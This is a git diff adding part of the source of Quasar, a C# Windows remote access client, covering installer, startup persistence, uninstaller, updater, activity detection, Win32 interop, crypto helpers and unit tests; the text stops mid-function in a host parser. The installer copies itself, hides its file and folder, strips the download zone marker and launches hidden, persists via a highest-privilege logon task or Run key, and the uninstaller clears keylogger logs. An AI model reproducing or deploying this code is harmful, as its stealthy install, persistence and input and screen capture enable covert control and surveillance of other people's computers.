@@ +using Quasar.Client.Config; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientInstaller : ClientSetupBase + { + public void ApplySettings() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + + // delete existing file + if (File.Exists(Settings.INSTALLPATH)) + { + try + { + File.Delete(Settings.INSTALLPATH); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process running at destination path + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + // dont kill own process + if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.MainModule?.FileName != Settings.INSTALLPATH) continue; + prc.Kill(); + Thread.Sleep(2000); + break; + } + } + } + } + + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); + + ApplySettings(); + + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); + + //start file + var startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false, + FileName = Settings.INSTALLPATH + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar.Client/Setup/ClientSetupBase.cs new file mode 100644 index 0000000..ea84bc2 --- /dev/null +++ b/Quasar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +using Quasar.Client.User; + +namespace Quasar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Quasar.Client/Setup/ClientStartup.cs b/Quasar.Client/Setup/ClientStartup.cs new file mode 100644 index 0000000..8774ace --- /dev/null +++ b/Quasar.Client/Setup/ClientStartup.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using System.Diagnostics; + +namespace Quasar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + public void RemoveFromStartup(string startupName) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + } +} diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs new file mode 100644 index 0000000..364b94d --- /dev/null +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -0,0 +1,52 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUninstaller : ClientSetupBase + { + public void Uninstall() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs new file mode 100644 index 0000000..3141724 --- /dev/null +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -0,0 +1,38 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUpdater : ClientSetupBase + { + public void Update(string newFilePath) + { + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + } + } +} diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs new file mode 100644 index 0000000..c6865a1 --- /dev/null +++ b/Quasar.Client/User/ActivityDetection.cs @@ -0,0 +1,125 @@ +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using System; +using System.Threading; + +namespace Quasar.Client.User +{ + /// + /// Provides user activity detection and sends messages on change. + /// + public class ActivityDetection : IDisposable + { + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + + /// + /// The client to use for communication with the server. + /// + private readonly QuasarClient _client; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. + public ActivityDetection(QuasarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + _lastUserStatus = UserStatus.Active; + } + + /// + /// Starts the user activity detection. + /// + public void Start() + { + new Thread(UserActivityThread).Start(); + } + + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() + { + try + { + if (IsUserIdle()) + { + if (_lastUserStatus != UserStatus.Idle) + { + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + else + { + if (_lastUserStatus != UserStatus.Active) + { + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } + } + + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. + private bool IsUserIdle() + { + var ticks = Environment.TickCount; + + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar.Client/User/UserAccount.cs b/Quasar.Client/User/UserAccount.cs new file mode 100644 index 0000000..5893202 --- /dev/null +++ b/Quasar.Client/User/UserAccount.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Enums; +using System; +using System.Security.Principal; + +namespace Quasar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + UserName = Environment.UserName; + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs new file mode 100644 index 0000000..b1a7064 --- /dev/null +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -0,0 +1,219 @@ +using System; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Utilities +{ + /// + /// Provides access to the Win32 API. + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential)] + internal struct LASTINPUTINFO + { + public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; + } + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + + /// + /// Performs a bit-block transfer of the color data corresponding to a + /// rectangle of pixels from the specified source device context into + /// a destination device context. + /// + /// Handle to the destination device context. + /// The leftmost x-coordinate of the destination rectangle (in pixels). + /// The topmost y-coordinate of the destination rectangle (in pixels). + /// The width of the source and destination rectangles (in pixels). + /// The height of the source and the destination rectangles (in pixels). + /// Handle to the source device context. + /// The leftmost x-coordinate of the source rectangle (in pixels). + /// The topmost y-coordinate of the source rectangle (in pixels). + /// A raster-operation code. + /// + /// true if the operation succeedes, false otherwise. To get extended error information, call . + /// + [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, + [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("gdi32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + internal static extern bool DeleteDC([In] IntPtr hdc); + + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } + + [DllImport("user32.dll")] + internal static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + internal static extern bool CloseDesktop( + IntPtr hDesktop); + + internal delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + internal static extern int SetTcpEntry(IntPtr pTcprow); + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcprowOwnerPid + { + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + public IPAddress LocalAddress + { + get { return new IPAddress(localAddr); } + } + + public ushort LocalPort + { + get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } + } + + public IPAddress RemoteAddress + { + get { return new IPAddress(remoteAddr); } + } + + public ushort RemotePort + { + get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcptableOwnerPid + { + public uint dwNumEntries; + private readonly MibTcprowOwnerPid table; + } + + internal enum TcpTableClass + { + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll + } + } +} diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs new file mode 100644 index 0000000..6170e82 --- /dev/null +++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,62 @@ +using System; +using System.Threading; + +namespace Quasar.Client.Utilities +{ + /// + /// A user-wide mutex that ensures that only one instance runs at a time. + /// + public class SingleInstanceMutex : IDisposable + { + /// + /// The mutex used for process synchronization. + /// + private readonly Mutex _appMutex; + + /// + /// Represents if the mutex was created on the system or it already existed. + /// + public bool CreatedNew { get; } + + /// + /// Determines if the instance is disposed and should not be used anymore. + /// + public bool IsDisposed { get; private set; } + + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); + CreatedNew = createdNew; + } + + /// + /// Releases all resources used by this . + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + _appMutex?.Dispose(); + } + + IsDisposed = true; + } + } +} diff --git a/Quasar.Client/app.manifest b/Quasar.Client/app.manifest new file mode 100644 index 0000000..bf4e01a --- /dev/null +++ b/Quasar.Client/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar.Client/clown.ico b/Quasar.Client/clown.ico new file mode 100644 index 0000000..6190cda Binary files /dev/null and b/Quasar.Client/clown.ico differ diff --git a/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs new file mode 100644 index 0000000..4bf62fa --- /dev/null +++ b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -0,0 +1,24 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Video.Compression; +using System; +using System.Drawing; + +namespace Quasar.Common.Tests.Compression +{ + [TestClass] + public class JpgCompressionTests + { + [TestMethod, TestCategory("Compression")] + public void CompressionTest() + { + var quality = Int64.MaxValue; + var jpg = new JpgCompression(quality); + var bitmap = new Bitmap(200, 200); + + var result = jpg.Compress(bitmap); + + Assert.IsNotNull(result); + CollectionAssert.AllItemsAreNotNull(result); + } + } +} diff --git a/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs b/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs new file mode 100644 index 0000000..61c2b99 --- /dev/null +++ b/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs @@ -0,0 +1,49 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.Text; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encrypted = aes.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = aes.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encryptedByte = aes.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = aes.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} diff --git a/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs new file mode 100644 index 0000000..63e9758 --- /dev/null +++ b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -0,0 +1,20 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Sha256Tests + { + [TestMethod, TestCategory("Cryptography")] + public void ComputeHashTest() + { + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); + + Assert.IsNotNull(result); + Assert.AreNotEqual(result, input); + } + } +} diff --git a/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs b/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs new file mode 100644 index 0000000..5a4a595 --- /dev/null +++ b/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs @@ -0,0 +1,35 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Helpers +{ + [TestClass] + public class FileHelperTests + { + [TestMethod, TestCategory("Helpers")] + public void RandomFilenameTest() + { + int length = 100; + var name = FileHelper.GetRandomFilename(length); + + Assert.IsNotNull(name); + Assert.IsTrue(name.Length == length); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest() + { + var bytes = new byte[] {77, 90}; + + Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes)); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest2() + { + var bytes = new byte[] {22, 93}; + + Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes)); + } + } +} diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..ccdc2ef --- /dev/null +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,20 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Quasar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar.Common.Tests/Quasar.Common.Tests.csproj new file mode 100644 index 0000000..aa7b178 --- /dev/null +++ b/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -0,0 +1,22 @@ + + + net452 + false + + + ..\bin\Debug\ + + + ..\bin\Release\ + none + false + + + + + + + + + + \ No newline at end of file diff --git a/Quasar.Common/Cryptography/Aes256.cs b/Quasar.Common/Cryptography/Aes256.cs new file mode 100644 index 0000000..fa73721 --- /dev/null +++ b/Quasar.Common/Cryptography/Aes256.cs @@ -0,0 +1,128 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public class Aes256 + { + private const int KeyLength = 32; + private const int AuthKeyLength = 64; + private const int IvLength = 16; + private const int HmacSha256Length = 32; + private readonly byte[] _key; + private readonly byte[] _authKey; + + private static readonly byte[] Salt = + { + 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, + 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 + }; + + public Aes256(string masterKey) + { + if (string.IsNullOrEmpty(masterKey)) + throw new ArgumentException($"{nameof(masterKey)} can not be null or empty."); + + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000)) + { + _key = derive.GetBytes(KeyLength); + _authKey = derive.GetBytes(AuthKeyLength); + } + } + + public string Encrypt(string input) + { + return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); + } + + /* FORMAT + * ---------------------------------------- + * | HMAC | IV | CIPHERTEXT | + * ---------------------------------------- + * 32 bytes 16 bytes + */ + public byte[] Encrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream()) + { + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + aesProvider.GenerateIV(); + + using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) + { + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext + cs.Write(input, 0, input.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(_authKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } + } + } + + return ms.ToArray(); + } + } + + public string Decrypt(string input) + { + return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); + } + + public byte[] Decrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream(input)) + { + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + + // read first 32 bytes for HMAC + using (var hmac = new HMACSHA256(_authKey)) + { + var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); + byte[] receivedHash = new byte[HmacSha256Length]; + ms.Read(receivedHash, 0, receivedHash.Length); + + if (!SafeComparison.AreEqual(hash, receivedHash)) + throw new CryptographicException("Invalid message authentication code (MAC)."); + } + + byte[] iv = new byte[IvLength]; + ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext + aesProvider.IV = iv; + + using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) + { + byte[] temp = new byte[ms.Length - IvLength + 1]; + byte[] data = new byte[cs.Read(temp, 0, temp.Length)]; + Buffer.BlockCopy(temp, 0, data, 0, data.Length); + return data; + } + } + } + } + } +} diff --git a/Quasar.Common/Cryptography/SafeComparison.cs b/Quasar.Common/Cryptography/SafeComparison.cs new file mode 100644 index 0000000..4ac4897 --- /dev/null +++ b/Quasar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace Quasar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Quasar.Common/Cryptography/Sha256.cs b/Quasar.Common/Cryptography/Sha256.cs new file mode 100644 index 0000000..c7a6414 --- /dev/null +++ b/Quasar.Common/Cryptography/Sha256.cs @@ -0,0 +1,33 @@ +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public static class Sha256 + { + public static string ComputeHash(string input) + { + byte[] data = Encoding.UTF8.GetBytes(input); + + using (SHA256Managed sha = new SHA256Managed()) + { + data = sha.ComputeHash(data); + } + + StringBuilder hash = new StringBuilder(); + + foreach (byte _byte in data) + hash.Append(_byte.ToString("X2")); + + return hash.ToString().ToUpper(); + } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } + } +} diff --git a/Quasar.Common/DNS/Host.cs b/Quasar.Common/DNS/Host.cs new file mode 100644 index 0000000..be93184 --- /dev/null +++ b/Quasar.Common/DNS/Host.cs @@ -0,0 +1,33 @@ +using System.Net; + +namespace Quasar.Common.DNS +{ + public class Host + { + /// + /// Stores the hostname of the Host. + /// + /// + /// Can be an IPv4, IPv6 address or hostname. + /// + public string Hostname { get; set; } + + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + + /// + /// Stores the port of the Host. + /// + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Quasar.Common/DNS/HostsConverter.cs b/Quasar.Common/DNS/HostsConverter.cs new file mode 100644 index 0000000..905a335 --- /dev/null +++ b/Quasar.Common/DNS/HostsConverter.cs @@ -0,0 +1,40 @@ +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Common.DNS +{ + public class HostsConverter + { + public List RawHostsToList(string rawHosts) + { + List hostsList = new List(); + + if (string.IsNullOrEmpty(rawHosts)) return hostsList; + + var hosts = rawHosts.Split(';'); + + foreach (var host in hosts) + { + if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore + + ushort port; + if 